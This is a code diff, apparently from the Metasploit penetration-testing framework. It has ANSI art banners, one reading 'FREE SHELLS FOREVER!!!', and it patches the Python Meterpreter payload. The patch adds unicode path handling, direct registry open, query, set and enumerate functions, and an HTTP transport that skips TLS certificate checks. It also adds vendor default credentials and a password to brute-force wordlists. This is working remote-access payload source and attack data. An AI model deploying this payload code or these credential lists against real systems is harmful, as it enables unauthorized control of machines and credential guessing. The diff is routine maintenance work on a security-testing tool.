[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▀[48;5;60;38;5;96m▄[48;5;238;38;5;139m▄[48;5;96m▄▄▄[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m█[48;5;238;38;5;238m█[48;5;60m▄▄[48;5;238;38;5;139m▄[48;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▄▄[39m [38;5;96m▄[48;5;96;38;5;139m▄[48;5;139m█████[48;5;238m▄[48;5;60;38;5;238m▄▄[48;5;238;38;5;139m▄[48;5;139m█████[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███████[48;5;238m▄[48;5;60;38;5;238m▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██████████████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m██████[38;5;238m▄▄▄[49m▀[39m [38;5;96m▀[48;5;139m▄[38;5;139m████[48;5;96;38;5;96m█[48;5;139;38;5;139m███████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▄▄[48;5;238m█[48;5;60;38;5;60m███[38;5;238m▄▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [38;5;96m▄[48;5;96m█[48;5;139;38;5;139m██[38;5;96m▄[48;5;96m█[48;5;139m▄▄▄▄[38;5;139m██[38;5;96m▄[48;5;96m██[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m█[48;5;238;38;5;238m█[48;5;60;38;5;60m██[38;5;238m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[38;5;139m▄[48;5;139;38;5;96m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m██[48;5;238;38;5;238m█[49m▀▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139;38;5;96m▄[48;5;96;38;5;139m▄[49;38;5;96m▄[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄▄▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,24 @@
|
|||
[0m[0m ______________________ [0m
|
||||
[0m< FREE SHELLS FOREVER!!![0m >[0m
|
||||
[0m ---------------------- [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;161m▄[48;5;161m██[38;5;204m▄▄[49;38;5;161m▄[39m [38;5;161m▄▄▄[39m [00m
|
||||
[0m\[0m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;175m▄▄▄[48;5;161;38;5;204m▄▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄[38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m██[48;5;161m▄[48;5;204m█[48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄▄[38;5;161m█[38;5;204m▄[48;5;204;38;5;161m▄[38;5;204m██[38;5;161m▄▄[48;5;161;38;5;218m▄▄▄▄▄[48;5;175m▄[48;5;218m█[48;5;211;38;5;175m▄[48;5;218;38;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄▄[48;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[48;5;161;38;5;218m▄[48;5;218m██[38;5;175m▄[38;5;16m▄▄[38;5;218m█[38;5;16m▄[38;5;218m██[48;5;175m▄[48;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161m█[38;5;204m▄▄▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;161;38;5;16m▄[48;5;218;38;5;218m██[38;5;16m▄[48;5;16;38;5;218m▄[48;5;218m███[48;5;16m▄[48;5;218;38;5;16m▄▄[38;5;218m█[38;5;175m▄[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161;38;5;204m▄▄▄▄[49;38;5;161m▄[48;5;161m█[38;5;204m▄[48;5;204m█[38;5;161m▄▄▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;16;38;5;16m█[48;5;218;38;5;218m██[48;5;16;38;5;16m█[48;5;218;38;5;218m█████[48;5;175;38;5;16m▄[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄▄▄[38;5;204m█[48;5;161m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;175m▄[48;5;175m█[48;5;16m▄[48;5;175;38;5;218m▄[48;5;218m█[48;5;175m▄[48;5;218m████[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄▄[48;5;204m█[48;5;161m▄▄▄[49;38;5;161m▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m████[48;5;161;38;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m█████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;211;38;5;175m▄[48;5;218;38;5;218m████████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄[38;5;204m███[38;5;161m▄[48;5;161m██[38;5;204m▄[48;5;204;38;5;161m▄[48;5;161m█[48;5;204;38;5;204m█████[38;5;161m▄▄[38;5;204m████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▄▀[39m [38;5;175m▀▀[48;5;175m█[48;5;218m▄▄▄▄▄[38;5;218m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[38;5;175m▄[48;5;204;38;5;204m█[48;5;161;38;5;161m██[48;5;204m▄[38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[49m▀[39m [00m
|
||||
[38;5;204m▀[39m [48;5;175;38;5;175m█[48;5;218;38;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m██[38;5;161m▄▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;218m▄▄[48;5;218;38;5;228m▄▄[48;5;175;38;5;218m▄[49;38;5;175m▄[39m [38;5;161m▀▀[48;5;204m▄▄[48;5;161m█[48;5;204m▄▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[48;5;218;38;5;161m▄[38;5;218m███[48;5;228m▄[48;5;218;38;5;81m▄[48;5;175m▄[38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161m▄[49;38;5;161m▄[39m[00m
|
||||
[48;5;175;38;5;175m█[48;5;161;38;5;218m▄[48;5;204;38;5;161m▄[38;5;204m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;218m▄[48;5;218m█[38;5;175m▄[48;5;81;38;5;81m█[48;5;218;38;5;218m█[48;5;81;38;5;228m▄[38;5;218m▄[48;5;175;38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[38;5;161m█[38;5;204m▄▄▄[38;5;161m█[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m[00m
|
||||
[48;5;175;38;5;169m▄[48;5;218m▄[48;5;161;38;5;218m▄[38;5;161m█[38;5;204m▄[48;5;218;38;5;218m████[48;5;175;38;5;175m█[48;5;228;38;5;218m▄[48;5;218m███[48;5;175;38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[38;5;204m███[48;5;161;38;5;161m██[48;5;204m▄▄[48;5;161m██[49m▀[39m[00m
|
||||
[38;5;169m▄[48;5;169m█[38;5;175m▄[48;5;175;38;5;218m▄▄[48;5;161m▄[38;5;161m█[48;5;218;38;5;218m█[48;5;175;38;5;175m█[49m▀[48;5;175;38;5;169m▄[38;5;175m█[48;5;218m▄[38;5;218m███[48;5;175;38;5;175m█[38;5;218m▄[38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[48;5;161m█[48;5;204m▄▄[38;5;204m██[48;5;161;38;5;161m█[49;39m [38;5;161m▄[39m[00m
|
||||
[38;5;169m▄[48;5;169;38;5;211m▄[48;5;211m█[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄▄[48;5;161m▄[49m▀[48;5;169;38;5;169m█[38;5;211m▄[48;5;211m██[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄[49m▀[39m [38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[38;5;161m▄[48;5;161m█[49m▄▄[48;5;161m█[49;39m[00m
|
||||
[48;5;169;38;5;169m█[48;5;211m▄[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [48;5;169;38;5;169m█[48;5;211;38;5;211m██[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m███[38;5;175m▄[49m▀[39m [38;5;161m▀[48;5;204m▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [38;5;169m▀▀[48;5;175;38;5;175m█[48;5;218;38;5;218m█████[48;5;175;38;5;175m█[49;39m [00m
|
||||
[38;5;175m▀▀▀▀▀▀[39m [38;5;175m▀▀▀▀▀▀[39m [00m
|
||||
[00m
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
|
@ -69,6 +70,7 @@ else:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
if has_ctypes:
|
||||
#
|
||||
|
@ -530,7 +532,7 @@ def get_stat_buffer(path):
|
|||
if hasattr(si, 'st_blocks'):
|
||||
blocks = si.st_blocks
|
||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
|
||||
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
|
|||
fmode = fmode.replace('bb', 'b')
|
||||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
file_h = open(unicode(fpath), fmode)
|
||||
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_chdir(request, response):
|
||||
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.chdir(wd)
|
||||
os.chdir(unicode(wd))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
os.unlink(file_path)
|
||||
os.unlink(unicode(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_dir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
dir_path = unicode(dir_path)
|
||||
if os.path.islink(dir_path):
|
||||
del_func = os.unlink
|
||||
else:
|
||||
|
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.unlink(file_path)
|
||||
os.unlink(unicode(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
|
|||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
os.rename(unicode(oldname), unicode(newname))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
if hasattr(os, 'getcwdu'):
|
||||
wd = os.getcwdu()
|
||||
else:
|
||||
wd = os.getcwd()
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_ls(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
path = os.path.abspath(path)
|
||||
contents = os.listdir(path)
|
||||
contents.sort()
|
||||
for x in contents:
|
||||
y = os.path.join(path, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
||||
path = os.path.abspath(unicode(path))
|
||||
dir_contents = os.listdir(path)
|
||||
dir_contents.sort()
|
||||
for file_name in dir_contents:
|
||||
file_path = os.path.join(path, file_name)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_mkdir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
dir_path = unicode(dir_path)
|
||||
if not os.path.isdir(dir_path):
|
||||
os.mkdir(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
|
|||
def stdapi_fs_search(request, response):
|
||||
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
||||
search_root = ('' or '.') # sometimes it's an empty string
|
||||
search_root = unicode(search_root)
|
||||
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
||||
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
||||
if recurse:
|
||||
|
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_stat(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
st_buf = get_stat_buffer(path)
|
||||
st_buf = get_stat_buffer(unicode(path))
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -1334,10 +1343,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _wreg_close_key(hkey):
|
||||
ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1372,11 +1383,9 @@ def stdapi_registry_delete_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
def _wreg_enum_key(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
|
@ -1399,10 +1408,22 @@ def stdapi_registry_enum_key(request, response):
|
|||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_key(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _wreg_enum_value(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
|
@ -1426,6 +1447,20 @@ def stdapi_registry_enum_value(request, response):
|
|||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
|
@ -1434,16 +1469,22 @@ def stdapi_registry_load_key(request, response):
|
|||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
def _wreg_open_key(request):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return error_result_windows(), 0
|
||||
return ERROR_SUCCESS, handle_id.value
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1467,9 +1508,7 @@ def stdapi_registry_query_class(request, response):
|
|||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
def _query_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
|
@ -1496,8 +1535,20 @@ def stdapi_registry_query_value(request, response):
|
|||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _query_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _query_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _set_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
|
@ -1505,6 +1556,20 @@ def stdapi_registry_set_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _set_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _set_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
|
|
|
@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
|
@ -51,6 +52,7 @@ else:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
#
|
||||
# Constants
|
||||
|
@ -262,7 +264,9 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if not is_bytes(value):
|
||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
|
@ -389,11 +393,17 @@ class PythonMeterpreter(object):
|
|||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
opener_args = []
|
||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||
import ssl
|
||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||
ssl_ctx.check_hostname=False
|
||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
|
|
Binary file not shown.
|
@ -5,3 +5,4 @@ root owaspbwa
|
|||
ADMIN ADMIN
|
||||
xampp xampp
|
||||
tomcat s3cret
|
||||
QCC QLogic66
|
||||
|
|
|
@ -1002,3 +1002,4 @@ sq!us3r
|
|||
adminpasswd
|
||||
raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
79
db/schema.rb
79
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150205192745) do
|
||||
ActiveRecord::Schema.define(:version => 20150326183742) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
